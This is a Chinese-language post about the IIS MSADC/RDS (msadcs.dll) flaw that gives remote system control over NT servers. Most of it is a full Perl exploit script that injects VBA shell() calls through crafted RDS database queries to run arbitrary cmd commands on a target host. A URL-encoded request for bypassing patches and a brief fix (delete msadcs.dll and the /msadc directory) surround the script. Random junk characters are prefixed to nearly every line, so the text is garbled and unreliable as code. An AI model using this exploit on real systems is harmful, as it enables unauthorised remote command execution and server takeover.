IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'e F% >tN5vWW 涉及程序:
.}o~VT:!?Y Microsoft NT server
jh[
#p?: IXnb]q. 描述:
Uo~T'mA" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4sTMgBzw e,(a6X 详细:
6
Ew@L<v 如果你没有时间读详细内容的话,就删除:
zX98c c:\Program Files\Common Files\System\Msadc\msadcs.dll
!v0"$V5+i 有关的安全问题就没有了。
JnY$fs*" Xx_tpC? 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Xh?4mKgu q]CeD 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,]ga[ 关于利用ODBC远程漏洞的描述,请参看:
@OzMiN w8p8 ;@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z`4c 4h]I eIH$"f;L 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
28a$NP\KW http://www.microsoft.com/security/bulletins/MS99-025faq.asp {=67XrWN1 V C-d0E0 这里不再论述。
L_~8"I_ V4|uas{0I: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
4ZwKpQ6 z8E1 m" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
QOH<]~3J 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(!3;X"l 7/aOsW"6 V^TbP. #将下面这段保存为txt文件,然后: "perl -x 文件名"
zyFUl% 22&;jpL'?
#!perl
s9 @Sd #
0OnV0SIL # MSADC/RDS 'usage' (aka exploit) script
! \sMR #
I-kWS4 # by rain.forest.puppy
(5a1P;_Y #
Y1)!lTG # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:5b0np! # beta test and find errors!
GSi>l,y' W3GNA""O use Socket; use Getopt::Std;
Ch19h8M getopts("e:vd:h:XR", \%args);
O$D?A2eI UG](go't print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Rko M~`CT A%XX5* if (!defined $args{h} && !defined $args{R}) {
D=+NxR[ print qq~
D d,2;#_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
r@kP* -h <host> = host you want to scan (ip or domain)
O"Q7Rx -d <seconds> = delay between calls, default 1 second
Z"y=sDO{ -X = dump Index Server path table, if available
jQ+sn/ROp -v = verbose
H43MoC -e = external dictionary file for step 5
\+ 0k+B4a +?dl`!rE Or a -R will resume a command session
t e,[f Nd@~>&F ~; exit;}
lz<]5T| "@/62b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
mJ}opy!{; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Vzl^Ka' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<hx+wrv if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!EIjN
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y[?-@7i if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
4 %W: OI}cs2m if (!defined $args{R}){ $ret = &has_msadc;
.(CP. d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{{yZ@>o6 $I9qgDJ) print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]#2Y e7+ . "cmd /c ";
/Q{P3:k $in=<STDIN>; chomp $in;
.iD*>M:W $command="cmd /c " . $in ;
BV#78,8( $*R/tJ. if (defined $args{R}) {&load; exit;}
Bi,;lR5
Yz$3;
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
y|wlq3o &try_btcustmr;
Xx:F)A8O re?s.djT print "\nStep 2: Trying to make our own DSN...";
XolZonJr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<FI-zca %ru;;h print "\nStep 3: Trying known DSNs...";
?L&|Uw+ &known_dsn;
UFAL1c<V 3jB$2: # print "\nStep 4: Trying known .mdbs...";
v[e:qi&fG &known_mdb;
5NoI~X= ,JU@|` if (defined $args{e}){
%\|'%/"`2( print "\nStep 5: Trying dictionary of DSN names...";
r$Co0!. &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^j#rZ;uc
\.YS%"Vz print "Sorry Charley...maybe next time?\n";
1$qh`<\ exit;
a<}#HfC;' o*U]v
##############################################################################
HK|ynBAo EnOU?D sub sendraw { # ripped and modded from whisker
^uv<6 sleep($delay); # it's a DoS on the server! At least on mine...
tyaA\F57 my ($pstr)=@_;
iY"l}.7) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?v>ET2wD die("Socket problems\n");
m3Il3ZY. if(connect(S,pack "SnA4x8",2,80,$target)){
=] *.ZH#h select(S); $|=1;
b&1`NO print $pstr; my @in=<S>;
[q !TIq select(STDOUT); close(S);
rV08ad return @in;
p-.n3AL } else { die("Can't connect...\n"); }}
,^#yo6- y ]?V~% ##############################################################################
yR(x+Gs{] k'0Pi6 sub make_header { # make the HTTP request
@E:,lA my $msadc=<<EOT
8\:NMP8W\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Y ')x/H User-Agent: ACTIVEDATA
=s<( P1|" Host: $ip
*/|BpakD< Content-Length: $clen
+\v?d&.f0 Connection: Keep-Alive
7jdb)l\p= )7h$G-fe ADCClientVersion:01.06
lRXK\xIP , Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
RjN{%YkXe O{#=d --!ADM!ROX!YOUR!WORLD!
nqLA}u4IM Content-Type: application/x-varg
qgfi\/$6 Content-Length: $reqlen
h<$MyN4]g /~3r;M EOT
Dc,I7F|% ; $msadc=~s/\n/\r\n/g;
I'LnI* return $msadc;}
U*)8G 4ecP*g ##############################################################################
;3@cy|\: H-
$)3"K sub make_req { # make the RDS request
AB4(+S*LA my ($switch, $p1, $p2)=@_;
k?,1x~ my $req=""; my $t1, $t2, $query, $dsn;
>Z5gSs0 /{&tY:;m if ($switch==1){ # this is the btcustmr.mdb query
2 O%`G+\) $query="Select * from Customers where City=" . make_shell();
aeD ;5VV $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ajEjZ6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
adR)Uq9 _WRFsDZ' elsif ($switch==2){ # this is general make table query
w9bbMx $query="create table AZZ (B int, C varchar(10))";
I "A_b}~*} $dsn="$p1";}
Eqj_m|@ =o$sxb
E( elsif ($switch==3){ # this is general exploit table query
ATK_DEAu $query="select * from AZZ where C=" . make_shell();
|EJD3& $dsn="$p1";}
B&n<M]7 j3{D^|0bP elsif ($switch==4){ # attempt to hork file info from index server
'2 PF $query="select path from scope()";
N$U$5;r~` $dsn="Provider=MSIDXS;";}
)!P)U(*v Tu).K.p: elsif ($switch==5){ # bad query
SMpH._VFeE $query="select";
_I:/ZF5 $dsn="$p1";}
kH
G"XTL Gz,i~XX $t1= make_unicode($query);
YTUZoW2 $t2= make_unicode($dsn);
.K1FKC$C $req = "\x02\x00\x03\x00";
0.8 2kl $req.= "\x08\x00" . pack ("S1", length($t1));
ww],y@da $req.= "\x00\x00" . $t1 ;
ur:3W6ZKl $req.= "\x08\x00" . pack ("S1", length($t2));
n[lJLm^(_C $req.= "\x00\x00" . $t2 ;
lPw%ErG $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
cj$[E]B3V* return $req;}
.y!<t} [OC5l> ##############################################################################
b4[bL2J$h1 Vf]
"L.G sub make_shell { # this makes the shell() statement
W\d{a(* return "'|shell(\"$command\")|'";}
_V7s#_p >7jbgHB ##############################################################################
0jy2H2 L ~lxXTG\ sub make_unicode { # quick little function to convert to unicode
m
qMHL2~ my ($in)=@_; my $out;
}fb#G<3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
oX30VfT return $out;}
\Q0[?k jB%lB1Q| ##############################################################################
>=:&D)m" _>(^tCo sub rdo_success { # checks for RDO return success (this is kludge)
PgtJ3oq[} my (@in) = @_; my $base=content_start(@in);
.F
if($in[$base]=~/multipart\/mixed/){
5:Z0Pt return 1 if( $in[$base+10]=~/^\x09\x00/ );}
tn(JC%?^ return 0;}
9g'LkP 5m\<U` ##############################################################################
j*so9M6|c [ 9 {*94M sub make_dsn { # this makes a DSN for us
oHd FMD@ my @drives=("c","d","e","f");
&"f"; print "\nMaking DSN: ";
]zE;Tw.S foreach $drive (@drives) {
_aGOb;h print "$drive: ";
%b&".mN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
EMwS1~3dD "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HHDl8lo . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=RA / $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{ C=NUK%? return 0 if $2 eq "404"; # not found/doesn't exist
Ktb\ b w if($2 eq "200") {
gd%NkxmW foreach $line (@results) {
i2E)P x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
K1mPr^3rC } return 0;}
nw -xSS{ i
UCXAWP ##############################################################################
*SU\ABcov .k,1f*% sub verify_exists {
MLw7}[ my ($page)=@_;
Dv| #u|iw my @results=sendraw("GET $page HTTP/1.0\n\n");
G`SUxhC k return $results[0];}
2`7==? iHeN9 cl ##############################################################################
Gw>^[dmt! QLXN*c sub try_btcustmr {
.`HYA*8_ my @drives=("c","d","e","f");
#pP[xE"Y my @dirs=("winnt","winnt35","winnt351","win","windows");
kpJ@M%46
=5J7Hw&K foreach $dir (@dirs) {
)WRLBFi3 print "$dir -> "; # fun status so you can see progress
<;vbsksZeH foreach $drive (@drives) {
zMj#KA1 print "$drive: "; # ditto
.>=(' - $reqlen=length( make_req(1,$drive,$dir) ) - 28;
`|6'9 $reqlenlen=length( "$reqlen" );
!nqUBa $clen= 206 + $reqlenlen + $reqlen;
Ov5" $+P>~X) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
k.5u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
S{]x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
7|{}\w(I ockTe5U ##############################################################################
!TAlBkj PPb7%2r sub odbc_error {
r[2ILe my (@in)=@_; my $base;
I;e=0!9U my $base = content_start(@in);
G9Y#kBr if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
bSiYHRH.e $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H\h3TdL $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DnC{YK $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#bUXgn> return $in[$base+4].$in[$base+5].$in[$base+6];}
2;zb\d print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.n#@$
nGZ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&|Bc7+/P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
e5* ni/P fmQ_P.c ##############################################################################
CLRiJ*U ZvNJ^Xz sub verbose {
`7[EKOJ3g my ($in)=@_;
Y'1S`. return if !$verbose;
RTE8Uq36 print STDOUT "\n$in\n";}
6ys
&zy ]"t@-PFX< ##############################################################################
+
,%&e Q9~*<I> h; sub save {
xAK6pDp my ($p1, $p2, $p3, $p4)=@_;
R@/"B8H open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ABQa 3{v print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
8VeQ-#7M/ close OUT;}
:# .<[ R%{a1r>9h ##############################################################################
3?c3<`TW C69q&S, sub load {
ix([mQg my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u -;_y='m open(IN,"<rds.save") || die("Couldn't open rds.save\n");
uehDIl0\[b @p=<IN>; close(IN);
8"U. Hnu $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:K-~fA%kt? $target= inet_aton($ip) || die("inet_aton problems");
6HZ` .o:f print "Resuming to $ip ...";
R$q;
! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
)CuZDf@ if($p[1]==1) {
pk^K:Xs} $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
H7d/X $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4? ICy/,U- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
;LG#.~f if (rdo_success(@results)){print "Success!\n";}
P*
w9, else { print "failed\n"; verbose(odbc_error(@results));}}
7[> 6i elsif ($p[1]==3){
y`F3Hr c if(run_query("$p[3]")){
jBgP$g print "Success!\n";} else { print "failed\n"; }}
,u+PyG7 cb elsif ($p[1]==4){
<J`0mVOX if(run_query($drvst . "$p[3]")){
=h0,?]z print "Success!\n"; } else { print "failed\n"; }}
:+qF8t[L exit;}
}q $5ig ToJ$A`_!` ##############################################################################
E7.2T^o;M
vr6MU< sub create_table {
~R22?g. my ($in)=@_;
}% `.h" $reqlen=length( make_req(2,$in,"") ) - 28;
MCS8y+QK $reqlenlen=length( "$reqlen" );
43mP]*=A $clen= 206 + $reqlenlen + $reqlen;
,cB\ my @results=sendraw(make_header() . make_req(2,$in,""));
WU
quN return 1 if rdo_success(@results);
%k;|\%B` my $temp= odbc_error(@results); verbose($temp);
I1pWaQ0 return 1 if $temp=~/Table 'AZZ' already exists/;
'eLqlu|T return 0;}
F
P* lQRA ZUoxMm
##############################################################################
AS
=?@2 q t5y;CxL sub known_dsn {
k< y>) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\Ta"}TF8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Jtr"NS?a] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
| # 47O "banner", "banners", "ads", "ADCDemo", "ADCTest");
fh](K'P#^ ;1%-8f:lW foreach $dSn (@dsns) {
Dp)=0<$y print ".";
: cF[(i/k4 next if (!is_access("DSN=$dSn"));
a-=8xs' if(create_table("DSN=$dSn")){
n/+.s(7c print "$dSn successful\n";
- `p4-J!Fy if(run_query("DSN=$dSn")){
gk"$,\DI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(C@m Lu) print "Something's borked. Use verbose next time\n";}}} print "\n";}
IOqwCD[ P} 0%-JC ##############################################################################
_$
+^q- ;[M}MFc/` sub is_access {
hRUhX[ my ($in)=@_;
v7iuL6jl $reqlen=length( make_req(5,$in,"") ) - 28;
n:yTeZ=-s4 $reqlenlen=length( "$reqlen" );
]pH-2_ $clen= 206 + $reqlenlen + $reqlen;
f;W|\z' my @results=sendraw(make_header() . make_req(5,$in,""));
xI($Uu}S my $temp= odbc_error(@results);
Cjc6d4~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
auK?](U return 0;}
L?WFmn 19E8'@ ##############################################################################
MP_ ~<Q VGpWg rmHk sub run_query {
gcdlT7F)b- my ($in)=@_;
y5*Z3"< $reqlen=length( make_req(3,$in,"") ) - 28;
/v-6WSN $reqlenlen=length( "$reqlen" );
<{V(.=11 $clen= 206 + $reqlenlen + $reqlen;
eU".3`CtY my @results=sendraw(make_header() . make_req(3,$in,""));
18+)`M-5o return 1 if rdo_success(@results);
]:Nsf|C0 my $temp= odbc_error(@results); verbose($temp);
mlJ!:WG return 0;}
@+Si?8\ |=`~-i2W ##############################################################################
VF?<{F RS)tO0 sub known_mdb {
{^CY..3
A my @drives=("c","d","e","f","g");
Jk7|{W\OA my @dirs=("winnt","winnt35","winnt351","win","windows");
[5G6VNh= my $dir, $drive, $mdb;
==3dEJS my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z4S!NDMm~ `6lr4Kk @R # this is sparse, because I don't know of many
++6`sMJ my @sysmdbs=( "\\catroot\\icatalog.mdb",
nqI@Y) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
QPx_- "\\system32\\certmdb.mdb",
Fl kcU
`j "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=t9\^RIx)? gl\\+VyU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0ZZZoPo "\\cfusion\\cfapps\\forums\\forums_.mdb",
H*ow\
Ct "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
v!<gY
m& "\\cfusion\\cfapps\\security\\realm_.mdb",
M?Dfu
.t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
A
mNW0.} "\\cfusion\\database\\cfexamples.mdb",
r^FhTzA=1 "\\cfusion\\database\\cfsnippets.mdb",
*5%d XixN "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
a%kQl^I4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
+x0!*3q "\\cfusion\\brighttiger\\database\\cleam.mdb",
b\yXbyjZ3. "\\cfusion\\database\\smpolicy.mdb",
j(m.$: "\\cfusion\\database\cypress.mdb",
41`n1:-] "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y$Zx, "\\website\\cgi-win\\dbsample.mdb",
#Y*X<L "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
T ]t'39 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
W42iu"@ ); #these are just
~;l@|7wGz foreach $drive (@drives) {
K2TcOFQ foreach $dir (@dirs){
t;W0"ci9 foreach $mdb (@sysmdbs) {
]V^iN=(_5 print ".";
%j.0G`x9 + if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
gG0!C))8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
IpYM;tYw& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9IjIIM2y print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
eD,.~Y#?= } else { print "Something's borked. Use verbose next time\n"; }}}}}
EK{Eo9l |2O]R s foreach $drive (@drives) {
(SpX w,: foreach $mdb (@mdbs) {
6 Q%jA7 print ".";
r)y=lAyF> if(create_table($drv . $drive . $dir . $mdb)){
7''??X print "\n" . $drive . $dir . $mdb . " successful\n";
Sc\*W0m if(run_query($drv . $drive . $dir . $mdb)){
/rK}?U print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
L-ET<'u } else { print "Something's borked. Use verbose next time\n"; }}}}
SheM|I~de }
dq(uVW^&ae smlpD3?va ##############################################################################
5eLtCsHz Sdp&jZY sub hork_idx {
fz|cnU print "\nAttempting to dump Index Server tables...\n";
gwLf ' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
v\c>b:AofD $reqlen=length( make_req(4,"","") ) - 28;
/a{la8Ni $reqlenlen=length( "$reqlen" );
nEJq_ $clen= 206 + $reqlenlen + $reqlen;
@Xt*Snd my @results=sendraw2(make_header() . make_req(4,"",""));
Kz~ps
5 if (rdo_success(@results)){
"Lzi+1 my $max=@results; my $c; my %d;
(l\1n;s*B for($c=19; $c<$max; $c++){
H=<S 9M $results[$c]=~s/\x00//g;
K*%9)hq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
t)~"4]{*}D $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
~5NXd)2+Ks $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
G? ])o5 $d{"$1$2"}="";}
o*-)Tq8GHE foreach $c (keys %d){ print "$c\n"; }
h?AS{`.1 } else {print "Index server doesn't seem to be installed.\n"; }}
V[RF</2T J1,9kCO ##############################################################################
FEW14U'O Q8T]\6)m sub dsn_dict {
xe]y] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`nUXDmdwzO while(<IN>){
<NR#Y%}-V $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7r7YNn/? next if (!is_access("DSN=$dSn"));
B}n,b#,* if(create_table("DSN=$dSn")){
*F+KqZ.2 print "$dSn successful\n";
6^V=?~a&z if(run_query("DSN=$dSn")){
^hG-~z< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EMh7z7}Rr print "Something's borked. Use verbose next time\n";}}}
w^?>e;/\ print "\n"; close(IN);}
q_Q/3rh y<?kzt ##############################################################################
hB"fhX S
^"y4-2 sub sendraw2 { # ripped and modded from whisker
];VA!++ sleep($delay); # it's a DoS on the server! At least on mine...
+O"!qAiK my ($pstr)=@_;
rxe>}ZO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
],>@";9u" die("Socket problems\n");
$ZUdT if(connect(S,pack "SnA4x8",2,80,$target)){
x/NfZ5e0X print "Connected. Getting data";
;%B(_c open(OUT,">raw.out"); my @in;
:WjpzgPuN select(S); $|=1; print $pstr;
fX(3H1$" while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<5-[{Q/2z close(OUT); select(STDOUT); close(S); return @in;
Z)e/!~""] } else { die("Can't connect...\n"); }}
9/{(%XwX j:^#rFD4? ##############################################################################
?L5zC+c! ]jtK I4 sub content_start { # this will take in the server headers
H7?Vy bg~ my (@in)=@_; my $c;
j5QuAU8 for ($c=1;$c<500;$c++) {
",p;Sd if($in[$c] =~/^\x0d\x0a/){
!SC`D])l if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ySk R>y else { return $c+1; }}}
S(o#K|)> return -1;} # it should never get here actually
%G3h?3 }Q)#[#e ##############################################################################
Qn^' O6Vtu Ws% sub funky {
\(J8#V my (@in)=@_; my $error=odbc_error(@in);
s6ZuM/Q if($error=~/ADO could not find the specified provider/){
2`AY~i9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
bADnW4N`6; exit;}
~9?cn if($error=~/A Handler is required/){
v&Ii^?CvO print "\nServer has custom handler filters (they most likely are patched)\n";
;5wn67' exit;}
_ftI*ni:< if($error=~/specified Handler has denied Access/){
>lmi@UN|k print "\nServer has custom handler filters (they most likely are patched)\n";
=Ee&da^MB exit;}}
5(Cl1Yse=r 1 da@3xaF ##############################################################################
pny11C &w 4?)# sub has_msadc {
@M<|:Z %.@ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
kHkpx52 my $base=content_start(@results);
68bQ;Dv return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
u=Fv2 return 0;}
sI43@[ %`k6w3qI ########################
B*qi_{Gp h-g+g#* 6f;fx}y 解决方案:
[]x#iOnC& 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Pl(Q,e7O] 2、移除web 目录: /msadc